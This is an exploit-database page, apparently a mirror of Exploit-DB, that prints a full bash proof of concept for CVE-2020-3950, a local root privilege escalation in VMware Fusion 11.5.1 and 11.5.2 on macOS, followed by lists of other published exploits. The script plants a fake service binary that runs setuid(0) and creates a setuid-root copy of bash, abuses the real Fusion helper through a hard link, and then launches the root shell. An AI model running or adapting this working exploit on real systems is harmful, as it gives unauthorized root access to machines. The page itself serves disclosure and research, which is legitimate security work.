Menu

Search for hundreds of thousands of exploits

"VMware Fusion 11.5.2 - Privilege Escalation"

Author

Exploit author

"Rich Mirch"

Platform

Exploit platform

macos

Release date

Exploit published date

2020-03-20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"

mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services

cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF

chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service

cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait

echo "Sleeping for 7 seconds"
sleep 7

$HOME/.woot -p
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
2020-03-17"VMWare Fusion - Local Privilege Escalation"localmacosGrimm
2019-12-18"macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()"dosmacos"Google Security Research"
2019-11-22"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache"localmacos"Google Security Research"
2019-11-05"macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()"dosmacos"Google Security Research"
2019-11-04"Apple macOS 10.15.1 - Denial of Service (PoC)"dosmacos08Tc3wBB
2019-10-09"XNU - Remote Double-Free via Data Race in IPComp Input Path"dosmacos"Google Security Research"
2019-09-19"macOS 18.7.0 Kernel - Local Privilege Escalation"localmacosA2nkF
2019-08-05"macOS iMessage - Heap Overflow when Deserializing"dosmacos"Google Security Research"
2019-07-02"Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)"localmacosMetasploit
2019-05-27"Typora 0.9.9.24.6 - Directory Traversal"remotemacos"Dhiraj Mishra"
2019-05-23"Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)"localmacosMetasploit
2019-04-18"Evernote 7.9 - Code Execution via Path Traversal"localmacos"Dhiraj Mishra"
2019-03-01"macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image"dosmacos"Google Security Research"
2019-02-20"FaceTime - Texture Processing Memory Corruption"dosmacos"Google Security Research"
2019-02-13"Apple macOS 10.13.5 - Local Privilege Escalation"localmacosSynacktiv
2019-01-31"macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File"dosmacos"Google Security Research"
2019-01-24"Microsoft Remote Desktop 10.2.4(134) - Denial of Service (PoC)"dosmacos"Saeed Hasanzadeh"
2018-12-14"Safari - Proxy Object Type Confusion (Metasploit)"remotemacosMetasploit
2018-11-29"Mac OS X - libxpc MITM Privilege Escalation (Metasploit)"localmacosMetasploit
2018-11-20"Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)"dosmacos"Fabiano Anemone"
2018-11-14"SwitchVPN for macOS 2.1012.03 - Privilege Escalation"localmacos"Bernd Leitner"
2018-11-13"CuteFTP Mac 3.1 - Denial of Service (PoC)"dosmacos"Yair Rodríguez Aparicio"
2018-11-06"FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption"dosmacos"Google Security Research"
2018-11-06"FaceTime - 'readSPSandGetDecoderParams' Stack Corruption"dosmacos"Google Security Research"
2018-11-05"LiquidVPN 1.36 / 1.37 - Privilege Escalation"localmacos"Bernd Leitner"
2018-10-22"Apple Intel GPU Driver - Use-After-Free/Double-Delete due to bad Locking"dosmacos"Google Security Research"
2018-09-12"Apple macOS 10.13.4 - Denial of Service (PoC)"dosmacosSriram
2018-07-30"Charles Proxy 4.2 - Local Privilege Escalation"localmacos"Mark Wadham"
2018-06-06"Apple macOS Kernel - Use-After-Free Due to Lack of Locking in nvidia GeForce Driver"dosmacos"Google Security Research"
Release DateTitleTypePlatformAuthor
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48235/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse